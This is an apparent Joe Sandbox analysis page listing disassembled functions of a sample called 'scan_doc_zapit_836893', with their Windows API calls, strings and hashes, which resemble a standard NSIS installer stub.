Associated: 00000000.00000002.2162675823.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162761940.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_scan_doc_zapit_836893.jbxd

Similarity

API ID: CreateInstance
String ID: CreateShortCut: out: "%s", in: "%s %s", icon: %s,%d, sw=%d, hk=%d
API String ID: 542301482-1377821865
Opcode ID: 0ddbb4256677b6c48083548557f3f7fdb52e2b2de327cf14ae3b1cdcca70b28b
Instruction ID: c24c797a6f187c751e7d972b1a807078ee58ffeb38f484aa28d094541f0f6205
Opcode Fuzzy Hash: 0ddbb4256677b6c48083548557f3f7fdb52e2b2de327cf14ae3b1cdcca70b28b
Instruction Fuzzy Hash: 02415E74A00205BFCF04EFA0CC99EAE7B79FF48314B20456AF915EB2E1C679A941CB54

Function 00402E18 Relevance: 1.5, APIs: 1, Instructions: 27fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?,00000002), ref: 00402E27

Memory Dump Source

Source File: 00000000.00000002.2162625362.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2162599547.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162648055.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162761940.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_scan_doc_zapit_836893.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 005be0a9498432eb51f9697d6085e84733c01c19a866f8c94ce5140aa3afdc34
Instruction ID: b91193b5dd17d351e639dca097a4c2443a83fae7855d8014906372cda19badf2
Opcode Fuzzy Hash: 005be0a9498432eb51f9697d6085e84733c01c19a866f8c94ce5140aa3afdc34
Instruction Fuzzy Hash: 4EE06D32600204AFD700EB749D45ABE736CDF01329F20457BF146F20D1E6B89A41976A

Function 004063AC Relevance: 70.3, APIs: 29, Strings: 11, Instructions: 256libraryloadermemoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,00000FA0), ref: 004063BF
lstrlenW.KERNEL32(?), ref: 004063CC
GetVersionExW.KERNEL32(?), ref: 0040642A

Part of subcall function 0040602B: CharUpperW.USER32(?,00406401,?), ref: 00406031

LoadLibraryA.KERNEL32(PSAPI.DLL), ref: 00406469
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 00406488
GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 00406492
GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 0040649D
FreeLibrary.KERNEL32(00000000), ref: 004064D4
GlobalFree.KERNEL32(?), ref: 004064DD

Strings

EnumProcesses, xrefs: 00406482
PSAPI.DLL, xrefs: 00406464
Unknown, xrefs: 004064FC
GetModuleBaseNameW, xrefs: 00406494
Process32FirstW, xrefs: 004065BD
EnumProcessModules, xrefs: 0040648A
Kernel32.DLL, xrefs: 0040659B
Module32NextW, xrefs: 004065DE
Process32NextW, xrefs: 004065C8
Module32FirstW, xrefs: 004065D3
CreateToolhelp32Snapshot, xrefs: 004065B5

Memory Dump Source

Source File: 00000000.00000002.2162625362.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2162599547.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162648055.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162761940.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_scan_doc_zapit_836893.jbxd

Similarity

API ID: AddressProc$FreeGlobalLibrary$AllocCharLoadUpperVersionlstrlen
String ID: CreateToolhelp32Snapshot$EnumProcessModules$EnumProcesses$GetModuleBaseNameW$Kernel32.DLL$Module32FirstW$Module32NextW$PSAPI.DLL$Process32FirstW$Process32NextW$Unknown
API String ID: 20674999-2124804629
Opcode ID: a5c47c37ebb79c3570a5199304d67498c128a01cd5ae19e8b8640fa4b13707a3
Instruction ID: f5db07f83b48746be4b9c4f5c588c21b75103c60b5638216cabcef37c42edb4d
Opcode Fuzzy Hash: a5c47c37ebb79c3570a5199304d67498c128a01cd5ae19e8b8640fa4b13707a3
Instruction Fuzzy Hash: 38919331900219EBDF109FA4CD88AAFBBB8EF44741F11447BE546F6281DB388A51CF68

Function 004040B8 Relevance: 40.5, APIs: 20, Strings: 3, Instructions: 210windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 0040416D
GetDlgItem.USER32(?,000003E8), ref: 00404181
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 0040419E
GetSysColor.USER32(?), ref: 004041AF
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 004041BD
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 004041CB
lstrlenW.KERNEL32(?), ref: 004041D6
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 004041E3
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 004041F2

Part of subcall function 00403FCA: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,?,00000000,00404124,?), ref: 00403FE1
Part of subcall function 00403FCA: GlobalAlloc.KERNEL32(00000040,00000001,?,?,?,00000000,00404124,?), ref: 00403FF0
Part of subcall function 00403FCA: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000001,00000000,00000000,?,?,00000000,00404124,?), ref: 00404004

GetDlgItem.USER32(?,0000040A), ref: 0040424A
SendMessageW.USER32(00000000), ref: 00404251
GetDlgItem.USER32(?,000003E8), ref: 0040427E
SendMessageW.USER32(00000000,0000044B,00000000,?), ref: 004042C1
LoadCursorW.USER32(00000000,00007F02), ref: 004042CF
SetCursor.USER32(00000000), ref: 004042D2
ShellExecuteW.SHELL32(0000070B,open,00462540,00000000,00000000,00000001), ref: 004042E7
LoadCursorW.USER32(00000000,00007F00), ref: 004042F3
SetCursor.USER32(00000000), ref: 004042F6
SendMessageW.USER32(00000111,00000001,00000000), ref: 00404325
SendMessageW.USER32(00000010,00000000,00000000), ref: 00404337

Strings

open, xrefs: 004042DF
N, xrefs: 0040426C
@%F, xrefs: 004042A7

Memory Dump Source

Source File: 00000000.00000002.2162625362.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2162599547.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162648055.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162761940.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_scan_doc_zapit_836893.jbxd

Similarity

API ID: MessageSend$Cursor$Item$ByteCharLoadMultiWide$AllocButtonCheckColorExecuteGlobalShelllstrlen
String ID: @%F$N$open
API String ID: 3928313111-3849437375
Opcode ID: a841256503f372cb329faf737530af9fe18869c9bb3e71d47027397a25b41a99
Instruction ID: 2c1438ad93098d7b112eeb2502b55652a68651cb38e922ac8f4fb42b83a973d4
Opcode Fuzzy Hash: a841256503f372cb329faf737530af9fe18869c9bb3e71d47027397a25b41a99
Instruction Fuzzy Hash: 0F71A4B1900609FFDB109F60DD45EAA7B79FB44305F00843AFA05B62D1C778A991CF99

Function 00406A99 Relevance: 33.4, APIs: 15, Strings: 4, Instructions: 163filestringmemoryCOMMON

Download Yara Rule

APIs

lstrcpyW.KERNEL32(0045B2C8,NUL,?,00000000,?,00000000,?,00406C90,000000F1,000000F1,00000001,00406EAE,?,00000000,000000F1,?), ref: 00406AA9
CloseHandle.KERNEL32(00000000,000000F1,00000000,00000001,?,00000000,?,00406C90,000000F1,000000F1,00000001,00406EAE,?,00000000,000000F1,?), ref: 00406AC8
GetShortPathNameW.KERNEL32(000000F1,0045B2C8,00000400), ref: 00406AD1

Part of subcall function 00405DB6: lstrlenA.KERNEL32(00000000,?,00000000,00000000,?,00000000,00406BD3,00000000,[Rename]), ref: 00405DC6
Part of subcall function 00405DB6: lstrlenA.KERNEL32(?,?,00000000,00406BD3,00000000,[Rename]), ref: 00405DF8

GetShortPathNameW.KERNEL32(000000F1,00460920,00000400), ref: 00406AF2
WideCharToMultiByte.KERNEL32(00000000,00000000,0045B2C8,000000FF,0045BAC8,00000400,00000000,00000000,?,00000000,?,00406C90,000000F1,000000F1,00000001,00406EAE), ref: 00406B1B
WideCharToMultiByte.KERNEL32(00000000,00000000,00460920,000000FF,0045C118,00000400,00000000,00000000,?,00000000,?,00406C90,000000F1,000000F1,00000001,00406EAE), ref: 00406B33
wsprintfA.USER32 ref: 00406B4D
GetFileSize.KERNEL32(00000000,00000000,00460920,C0000000,00000004,00460920,?,?,00000000,000000F1,?), ref: 00406B85
GlobalAlloc.KERNEL32(00000040,0000000A), ref: 00406B94
ReadFile.KERNEL32(?,00000000,00000000,?,00000000), ref: 00406BB0
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename]), ref: 00406BE0
SetFilePointer.KERNEL32(?,00000000,00000000,00000000,?,0045C518,00000000,-0000000A,0040987C,00000000,[Rename]), ref: 00406C37

Part of subcall function 00405E50: GetFileAttributesW.KERNELBASE(00000003,004035C7,004DF0D8,80000000,00000003,?,?,?,00000000,00403A47,?), ref: 00405E54
Part of subcall function 00405E50: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403A47,?), ref: 00405E76

WriteFile.KERNEL32(?,00000000,?,?,00000000), ref: 00406C4B
GlobalFree.KERNEL32(00000000), ref: 00406C52
CloseHandle.KERNEL32(?), ref: 00406C5C

Strings

F, xrefs: 00406AE8
[Rename], xrefs: 00406BC8, 00406BD7
NUL, xrefs: 00406A9E
%s=%s, xrefs: 00406B43

Memory Dump Source

Source File: 00000000.00000002.2162625362.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2162599547.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162648055.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162761940.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_scan_doc_zapit_836893.jbxd

Similarity

API ID: File$ByteCharCloseGlobalHandleMultiNamePathShortWidelstrcpylstrlen$AllocAttributesCreateFreePointerReadSizeWritewsprintf
String ID: F$%s=%s$NUL$[Rename]
API String ID: 565278875-1653569448
Opcode ID: a83451b5c4aab99109613fb463f01f18261c5de4d9c28115f8397278e7cafe6e
Instruction ID: f97e154d5ee7f709bd30e138c0dd6e282719408add8f0d739c14b832633f1bd9
Opcode Fuzzy Hash: a83451b5c4aab99109613fb463f01f18261c5de4d9c28115f8397278e7cafe6e
Instruction Fuzzy Hash: AE412632104208BFE6206B619E8CD6B3B6CDF86754B16043EF586F22D1DA3CDC158ABC

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010D8
FillRect.USER32(00000000,?,00000000), ref: 004010ED
DeleteObject.GDI32(?), ref: 004010F6
CreateFontIndirectW.GDI32(?), ref: 0040110E
SetBkMode.GDI32(00000000,00000001), ref: 0040112F
SetTextColor.GDI32(00000000,000000FF), ref: 00401139
SelectObject.GDI32(00000000,?), ref: 00401149
DrawTextW.USER32(00000000,0046ADC0,000000FF,00000010,00000820), ref: 0040115F
SelectObject.GDI32(00000000,00000000), ref: 00401169
DeleteObject.GDI32(?), ref: 0040116E
EndPaint.USER32(?,?), ref: 00401177

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000000.00000002.2162625362.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2162599547.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162648055.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162761940.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_scan_doc_zapit_836893.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: f4369597f17a3e87964d78a18e042c43d151941ad2c2ecd61bd33e0f0092c561
Instruction ID: e7530e13063599d95e155ed3b2c7b7521dfa2668d538c4695d9c695e9582dc0d
Opcode Fuzzy Hash: f4369597f17a3e87964d78a18e042c43d151941ad2c2ecd61bd33e0f0092c561
Instruction Fuzzy Hash: 01516C71400209AFCB058F95DE459AF7FB9FF45311F00802EF992AA1A0CB78DA55DFA4

Function 00402880 Relevance: 17.6, APIs: 4, Strings: 6, Instructions: 131registrystringCOMMON

Download Yara Rule

APIs

RegCreateKeyExW.ADVAPI32(?,?,?,?,?,?,?,?,?,00000011,00000002), ref: 004028DA
lstrlenW.KERNEL32(004130D8,00000023,?,?,?,?,?,?,?,00000011,00000002), ref: 004028FD
RegSetValueExW.ADVAPI32(?,?,?,?,004130D8,?,?,?,?,?,?,?,?,00000011,00000002), ref: 004029BC
RegCloseKey.ADVAPI32(?), ref: 004029E4

Part of subcall function 004062A3: lstrlenW.KERNEL32(Sleep(4921),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Strings

WriteRegDWORD: "%s\%s" "%s"="0x%08x", xrefs: 00402959
WriteReg: error writing into "%s\%s" "%s", xrefs: 004029D4
WriteRegStr: "%s\%s" "%s"="%s", xrefs: 00402918
WriteRegBin: "%s\%s" "%s"="%s", xrefs: 004029A1
WriteRegExpandStr: "%s\%s" "%s"="%s", xrefs: 0040292A
WriteReg: error creating key "%s\%s", xrefs: 004029F5

Memory Dump Source

Source File: 00000000.00000002.2162625362.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2162599547.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162648055.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162761940.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_scan_doc_zapit_836893.jbxd

Similarity

API ID: lstrlen$CloseCreateValuewvsprintf
String ID: WriteReg: error creating key "%s\%s"$WriteReg: error writing into "%s\%s" "%s"$WriteRegBin: "%s\%s" "%s"="%s"$WriteRegDWORD: "%s\%s" "%s"="0x%08x"$WriteRegExpandStr: "%s\%s" "%s"="%s"$WriteRegStr: "%s\%s" "%s"="%s"
API String ID: 1641139501-220328614
Opcode ID: 51d35262b0c2a2c9e21de093e360e43a16013741a0d7e0050a8341ec78c57d1d
Instruction ID: 4ea7a0066738be70411365ddd6f3e5606018e51d84950e7919a1ab5782edcef9
Opcode Fuzzy Hash: 51d35262b0c2a2c9e21de093e360e43a16013741a0d7e0050a8341ec78c57d1d
Instruction Fuzzy Hash: 3D41BFB2D00209BFDF11AF90CE46DAEBBB9EB04704F20407BF505B61A1D6B94B509B59

Function 00402E55 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 103memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000,?,?,?,?,000000F0), ref: 00402EA9
GlobalAlloc.KERNEL32(00000040,?,00000000,?,?,?,?,?,?,000000F0), ref: 00402EC5
GlobalFree.KERNEL32(FFFFFD66), ref: 00402EFE
WriteFile.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,000000F0), ref: 00402F10
GlobalFree.KERNEL32(00000000), ref: 00402F17
CloseHandle.KERNEL32(?,?,?,?,?,000000F0), ref: 00402F2F
DeleteFileW.KERNEL32(?), ref: 00402F56

Strings

created uninstaller: %d, "%s", xrefs: 00402F3B

Memory Dump Source

Source File: 00000000.00000002.2162625362.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2162599547.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162648055.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162761940.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_scan_doc_zapit_836893.jbxd

Similarity

API ID: Global$AllocFileFree$CloseDeleteHandleWrite
String ID: created uninstaller: %d, "%s"
API String ID: 3294113728-3145124454
Opcode ID: 7d19fd18931236c609f14dd9ebe02190de13aa3954742adab313f132dac73535
Instruction ID: 876417c632a2c352b67fb01c84f3ccb8dada3a759dccfb7ac575e016526b3130
Opcode Fuzzy Hash: 7d19fd18931236c609f14dd9ebe02190de13aa3954742adab313f132dac73535
Instruction Fuzzy Hash: E231B272800115BBCB11AFA4CE45DAF7FB9EF08364F10023AF555B61E1CB794E419B98

Function 004060E7 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 72filestringCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(FFFFFFFF,00000000,?,?,004062D4,00000000), ref: 004060FE
GetFileAttributesW.KERNEL32(0046A560,?,00000000,00000000,?,?,004062D4,00000000), ref: 0040613C
WriteFile.KERNEL32(00000000,000000FF,00000002,00000000,00000000,0046A560,40000000,00000004), ref: 00406175
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002,0046A560,40000000,00000004), ref: 00406181
lstrcatW.KERNEL32(Sleep(4921),00409678,?,00000000,00000000,?,?,004062D4,00000000), ref: 0040619B
lstrlenW.KERNEL32(Sleep(4921),?,?,004062D4,00000000), ref: 004061A2
WriteFile.KERNEL32(Sleep(4921),00000000,004062D4,00000000,?,?,004062D4,00000000), ref: 004061B7

Strings

Sleep(4921), xrefs: 00406195, 0040619A, 004061A1, 004061B0

Memory Dump Source

Source File: 00000000.00000002.2162625362.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2162599547.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162648055.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162761940.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_scan_doc_zapit_836893.jbxd

Similarity

API ID: File$Write$AttributesCloseHandlePointerlstrcatlstrlen
String ID: Sleep(4921)
API String ID: 3734993849-3001734206
Opcode ID: db2296b131d449b30ff8990abd275774a0521ce3dbf342b3e8cfb01d18cadc82
Instruction ID: 719ae6cd10854ac59b0cdc08190af65770ef99398ad526dd54b0ef62760a23c4
Opcode Fuzzy Hash: db2296b131d449b30ff8990abd275774a0521ce3dbf342b3e8cfb01d18cadc82
Instruction Fuzzy Hash: 4621F271400200BBD710AB64DD88D9B376CEB02370B25C73AF626BA1E1E77449868BAD

Function 00403DCA Relevance: 12.1, APIs: 8, Instructions: 60COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 00403DE4
GetSysColor.USER32(00000000), ref: 00403E00
SetTextColor.GDI32(?,00000000), ref: 00403E0C
SetBkMode.GDI32(?,?), ref: 00403E18
GetSysColor.USER32(?), ref: 00403E2B
SetBkColor.GDI32(?,?), ref: 00403E3B
DeleteObject.GDI32(?), ref: 00403E55
CreateBrushIndirect.GDI32(?), ref: 00403E5F

Memory Dump Source

Source File: 00000000.00000002.2162625362.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2162599547.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162648055.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162761940.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_scan_doc_zapit_836893.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: ac93da855729cb6ae330e7292f06b4dcfb528e6a29ab184958864ff4432b54b5
Instruction ID: efe235911933e34786796033030fc6f48e67331b78f43f6f4bde0ddab4ebbdd0
Opcode Fuzzy Hash: ac93da855729cb6ae330e7292f06b4dcfb528e6a29ab184958864ff4432b54b5
Instruction Fuzzy Hash: 7D1166715007046BCB219F78DE08B5BBFF8AF01755F048A2DE886F22A0D774DA48CB94

Function 004023F0 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 83libraryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,00000001,000000F0), ref: 0040241C

Part of subcall function 00404F72: lstrlenW.KERNEL32(0043B228,?,00000000,00000000), ref: 00404FAA
Part of subcall function 00404F72: lstrlenW.KERNEL32(004034BB,0043B228,?,00000000,00000000), ref: 00404FBA
Part of subcall function 00404F72: lstrcatW.KERNEL32(0043B228,004034BB,004034BB,0043B228,?,00000000,00000000), ref: 00404FCD
Part of subcall function 00404F72: SetWindowTextW.USER32(0043B228,0043B228), ref: 00404FDF
Part of subcall function 00404F72: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405005
Part of subcall function 00404F72: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040501F
Part of subcall function 00404F72: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040502D

Part of subcall function 004062A3: lstrlenW.KERNEL32(Sleep(4921),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

LoadLibraryExW.KERNEL32(00000000,?,00000008,00000001,000000F0), ref: 0040242D
FreeLibrary.KERNEL32(?,?), ref: 004024C3

Strings

Error registering DLL: Could not initialize OLE, xrefs: 004024F1
Error registering DLL: Could not load %s, xrefs: 004024DB
Error registering DLL: %s not found in %s, xrefs: 0040249A

Memory Dump Source

Source File: 00000000.00000002.2162625362.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2162599547.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162648055.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162761940.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_scan_doc_zapit_836893.jbxd

Similarity

API ID: MessageSendlstrlen$Library$FreeHandleLoadModuleTextWindowlstrcatwvsprintf
String ID: Error registering DLL: %s not found in %s$Error registering DLL: Could not initialize OLE$Error registering DLL: Could not load %s
API String ID: 1033533793-945480824
Opcode ID: dad84e194389b7cbeb1d3ab4357ce8e64ef755489eaa46c5795f6130922e59d8
Instruction ID: e967fad4df15afb35ea17a6f8951328f27fda4bee3b51f855042d01f5ead75df
Opcode Fuzzy Hash: dad84e194389b7cbeb1d3ab4357ce8e64ef755489eaa46c5795f6130922e59d8
Instruction Fuzzy Hash: 34219131904208BBCF206FA1CE45E9E7A74AF40314F30817FF511B61E1D7BD4A819A5D

Function 00402238 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 59synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 004062A3: lstrlenW.KERNEL32(Sleep(4921),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Part of subcall function 00404F72: lstrlenW.KERNEL32(0043B228,?,00000000,00000000), ref: 00404FAA
Part of subcall function 00404F72: lstrlenW.KERNEL32(004034BB,0043B228,?,00000000,00000000), ref: 00404FBA
Part of subcall function 00404F72: lstrcatW.KERNEL32(0043B228,004034BB,004034BB,0043B228,?,00000000,00000000), ref: 00404FCD
Part of subcall function 00404F72: SetWindowTextW.USER32(0043B228,0043B228), ref: 00404FDF
Part of subcall function 00404F72: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405005
Part of subcall function 00404F72: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040501F
Part of subcall function 00404F72: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040502D

Part of subcall function 00405C3F: CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00457278,Error launching installer), ref: 00405C64
Part of subcall function 00405C3F: CloseHandle.KERNEL32(?), ref: 00405C71

WaitForSingleObject.KERNEL32(?,00000064,00000000,000000EB,00000000), ref: 00402288
GetExitCodeProcess.KERNEL32(?,?), ref: 00402298
CloseHandle.KERNEL32(?,00000000,000000EB,00000000), ref: 00402AF2

Strings

Exec: failed createprocess ("%s"), xrefs: 004022C2
Exec: success ("%s"), xrefs: 00402263
Exec: command="%s", xrefs: 00402241

Memory Dump Source

Source File: 00000000.00000002.2162625362.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2162599547.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162648055.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162761940.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_scan_doc_zapit_836893.jbxd

Similarity

API ID: MessageSendlstrlen$CloseHandleProcess$CodeCreateExitObjectSingleTextWaitWindowlstrcatwvsprintf
